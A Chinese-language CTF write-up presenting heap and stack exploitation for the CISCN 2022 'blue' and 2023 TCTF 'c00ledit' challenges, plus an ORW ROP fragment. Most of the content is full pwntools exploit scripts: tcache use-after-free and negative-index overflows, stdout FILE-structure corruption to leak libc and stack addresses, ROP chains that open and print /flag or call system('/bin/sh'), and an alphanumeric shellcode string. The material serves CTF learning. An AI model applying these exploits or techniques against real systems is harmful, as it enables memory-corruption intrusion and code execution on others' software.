# sla(b'Please enter how many bits you want to read\n',b'-1')
# pal=b'a'*0x28 + rop.chain()

# sa('Please enter what you want to read:\n',pal)
# sleep(1)

# s(b'/flag\x00')

irt()

两种写法,首先第一种便是常规orw,因为我找不到syscall,ret的rop,但是我看其他人找到了,因为有libc直接函数即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# rop=ROP(libc)
# rop.read(0,elf.bss()+0x200,0x6)
# rop.open(elf.bss()+0x200,0)
# rop.read(3,elf.bss()+0x400,0x80)
# rop.puts(elf.bss()+0x400)
# print(rop.dump())

# sla(b'Please enter how many bits you want to read\n',b'-1')
# pal=b'a'*0x28 + rop.chain()

# sa('Please enter what you want to read:\n',pal)
# sleep(1)

# s(b'/flag\x00')

第二种我是第一次见这种用法,非常简便,学到了,要求libc.address为libc_base不然会报错

[CISCN 2022 华东北]blue

这题着实是让我受益很多(也恶心到了我

ORW

漏洞点

首先题目是都是tcache块,最大只能申请0x90(0xa0)的堆块,有一次的uaf,一次的show,和add,delete的功能

利用思路

首先是通过申请9个0x80的堆块,然后填满tcache,之后给一个uaf就能到unsortedbin里,然后show就泄露了libc基址,之后要打ORW的一个思路便是申请到栈上,而这就少不了泄露栈地址和一个任意地址写,所以首先回到上面,add了9个堆块,再申请一个隔离块,之后uaf掉第九个堆块,delete掉第八个堆块,就能将unsortedbin和tcachebin实现overlapping,然后再申请一个0x70的堆块,再申请一个0x80的堆块,同时将这个0x80放到tcache中,就能将uaf的第8个堆块和这个0x80堆块overlapping,之后便是通过stdout来泄露environ,然后打到add上ret打orw

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
from pwn import *
from ctypes import *
context(os='linux' , arch='amd64' , log_level='debug')

libc=ELF('./libc.so.6')
path='./pwn'
elf=ELF(path)

amd64shell=b"RRYh00AAX1A0hA004X1A4hA00AX1A8QX44Pj0X40PZPjAX4znoNDnRYZnCXAA"

r =lambda num=4096 :p.recv(num)
ru =lambda content,drop=False :p.recvuntil(content,drop)
rl =lambda :p.recvline()
sla =lambda flag,content :p.sendlineafter(flag,content)
sa =lambda flag,content :p.sendafter(flag,content)
sl =lambda content :p.sendline(content)
s =lambda content :p.send(content)
irt =lambda :p.interactive()
tbs =lambda content :str(content).encode()
leak=lambda s,n :print("\033[31m["+s+" -> "+str(hex(n))+"]\033[0m")


local=0

def run():
if local:
return process(path)
return remote('node4.anna.nssctf.cn',28282)

def debug(duan=None):
if local:
if duan:
gdb.attach(p, execute=duan)
else:
gdb.attach(p)
pause()

p=run()

def choice(num=int):
sla(b'Choice: ',tbs(num))

menu = 'Choice: '

def add(size, content):
sla(menu, '1')
sla('Please input size: ', str(size))
sa('Please input content: ', content)

def delete(index):
sla(menu, '2')
sla('Please input idx: ', str(index))

def show(index):
sla(menu, '3')
sla('Please input idx: \n', str(index))

def uaf(idx=int): #just one
choice(666)
sla(b'Please input idx: \n',tbs(idx))

pal=b'a'*0x20

for i in range(9):
add(0x80,pal)
add(0x80,pal) #9隔离块

for i in range(7):
delete(i)

uaf(8) #8
show(8)

libc_base=u64(r(6).ljust(8,b'\x00'))-2018272
leak("libc_base",libc_base)
stdout = libc_base + libc.sym['_IO_2_1_stdout_']
leak('stdout',stdout)
environ = libc_base + libc.sym['environ']
leak('environ',environ)

delete(7)
add(0x80,pal) #0 腾一个tcache bin
delete(8) #放入tcache bin
# debug()

add(0x70,b's1nec-1o') #1
# debug()
pal=p64(0)+p64(0x91)+p64(stdout)
add(0x70,pal) #2
add(0x80,b's1nec-1o') #3
# debug()
pal2 = p64(0xfbad1800) + p64(0) * 3 + p64(environ) + p64(environ + 8) * 2 #fbad1800恰好使check通过
add(0x80,pal2) #4
stack_addr=u64(ru('\x7f')[-6:].ljust(8,b'\x00'))-0x128 #add的ret-8
leak("stack_addr",stack_addr)
print(stack_addr)
# debug()
delete(3)
delete(2)
# debug()
p3 = p64(0) + p64(0x91) + p64(stack_addr)
add(0x70, p3)#2
add(0x80, 'dddd') #3

read_addr = libc_base + libc.sym['read']
open_addr = libc_base + libc.sym['open']
write_addr = libc_base + libc.sym['write']
#pop_rdi_ret = libc_base + libc.search(asm('pop rdi;ret;')).__next__()
pop_rdi_ret = libc_base + 0x0000000000023b6a
#pop_rsi_ret = libc_base + libc.search(asm('pop rsi;ret;')).__next__()
pop_rsi_ret = libc_base +0x000000000002601f
#pop_rdx_ret = libc_base + libc.search(asm('pop rdx;ret;')).__next__()
pop_rdx_ret = 0x0000000000142c92 + libc_base

flag_addr = stack_addr
ppp = stack_addr + 0x200

p4 = b'./flag\x00\x00'
# open('./flag', 0)
p4 += p64(pop_rdi_ret) + p64(flag_addr) + p64(pop_rsi_ret) + p64(0) + p64(open_addr)
# read(3, ppp, 0x50)
p4 += p64(pop_rdi_ret) + p64(3) + p64(pop_rsi_ret) + p64(ppp) + p64(pop_rdx_ret) + p64(0x50) + p64(read_addr)
# puts(ppp)
puts_addr = libc_base + libc.sym['puts']
p4 += p64(pop_rdi_ret) + p64(ppp) + p64(puts_addr)
add(0x80,p4)

irt()

不过有个恶心的点,不知道为什么如果我的

1
2
3
4
5
6
7
8
9
10
11
12
def add(size, content):
sla(menu, '1')
sla('Please input size: ', str(size))
sa('Please input content: ', content)

def delete(index):
sla(menu, '2')
sla('Please input idx: ', str(index))

def show(index):
sla(menu, '3')
sla('Please input idx: \n', str(index))

这部分如果将str改为str().encode会导致之后的puts无法正常输出,挺奇怪的。。。。。

2023tctf-c00ledit

本题主要是负数溢出

静态分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
__int64 __fastcall main(const char *a1, char **a2, char **a3)
{
__int64 v3; // rdx
int v4; // ecx
__int64 result; // rax

while ( 2 )
{
menu();
switch ( similar_read() )
{
case 1LL:
add((__int64)a1, (__int64)a2, v3, v4);
continue;
case 2LL:
case 4LL:
a1 = "Not implemented!";
puts("Not implemented!");
continue;
case 3LL:
((void (__fastcall *)(const char *, char **))edit)(a1, a2);
continue;
case 5LL:
result = 0LL;
break;
default:
puts("invalid choice");
result = 0xFFFFFFFFLL;
break;
}
break;
}
return result;
}

程序只提供了两个功能,一个add和一个edit,add主要malloc一个0x10,前0x8存大小,后0x8存下一个malloc(0x1000)的地址,而主要的漏洞点在edit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
int edit()
{
const char *v0; // rdi
__int64 v1; // rbp
__int64 v2; // rbx
int result; // eax

v0 = "No chance!";
if ( num > 16 )
return puts(v0);
__printf_chk(1LL, "Index: ");
v0 = "Invalid index!";
v1 = similar_read();
if ( !heap_addr[v1] )
return puts(v0);
__printf_chk(1LL, "Offset: ");
v2 = similar_read();
if ( v2 + 7 >= *(_QWORD *)heap_addr[v1] )
{
v0 = "Invalid offset!";
return puts(v0);
}
__printf_chk(1LL, "Content: ");
result = read(0, (void *)(*(_QWORD *)(heap_addr[v1] + 8LL) + v2), 8uLL);// 有一个往上的溢出
++num;
return result;
}

发现两个涉及数组的地方均有负数溢出,第一个heap的负数可以涉到

image-20240618171820924

stdout,因此可以考虑通过stdout来泄露libc基址,会发现在image-20240618171953942

在IO_FILE中如果不修改他的三个write指针指向的都是本结构体的高位地址,因此可以覆写低位来泄露结构体的地址,而偏移固然是不变的,就可以泄露libc基址了,然后再泄露environ来打stack rop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
from pwn import *
from ctypes import *
context(os='linux' , arch='amd64' , log_level='debug')

libc=ELF('./libc.so.6')
path='./chall'
elf=ELF(path)

amd64shell=b"RRYh00AAX1A0hA004X1A4hA00AX1A8QX44Pj0X40PZPjAX4znoNDnRYZnCXAA"

r =lambda num=4096 :p.recv(num)
ru =lambda content,drop=False :p.recvuntil(content,drop)
rl =lambda :p.recvline()
sla =lambda flag,content :p.sendlineafter(flag,content)
sa =lambda flag,content :p.sendafter(flag,content)
sl =lambda content :p.sendline(content)
s =lambda content :p.send(content)
irt =lambda :p.interactive()
tbs =lambda content :str(content).encode()
leak=lambda s,n :print("\033[31m["+s+" -> "+str(hex(n))+"]\033[0m")


local=1

def run():
if local:
return process(path)
return remote('node4.anna.nssctf.cn',28282)

def debug(duan=None):
if local:
if duan:
gdb.attach(p, execute=duan)
else:
gdb.attach(p)
pause()

p=run()

def add():
sla(b'Your choice: ',b'1')

def edit(index,offset,content):
sla(b'Your choice: ',b'3')
sla(b'Index: ',str(index))
sla(b'Offset: ',str(offset))
sa(b'Content: ',content)

edit(-8,-131,p64(0Xfbad1800))
edit(-8,-91,b'\x30')
libc.address=u64((ru(b'\x7f')[-6:]).ljust(8,b'\x00'))-2210416
leak("libc_base",libc.address)
edit(-8,-91,p64(libc.sym['_environ']+8))
# debug()
for i in range(6):
p.recv()

#p.recv(0x9f0+13)
p.recv(0xa03)
stack=u64((ru(b'\x7f')[-6:]).ljust(8,b'\x00'))
leak('stack',stack)
main_ret=stack-0x120
add()
edit(0,-24,p64(main_ret))
edit(0,8,p64(next(libc.search(b'/bin/sh'))))
edit(0,24,p64(libc.sym['system']))
edit(0,16,p64(libc.search(asm('pop rdi;ret;')).__next__()+1))
edit(0,0,p64(libc.search(asm('pop rdi;ret;')).__next__()))

# debug()
irt()

注意栈平衡,听说也可以打修改got.plt来shellcode,不过感觉是要再写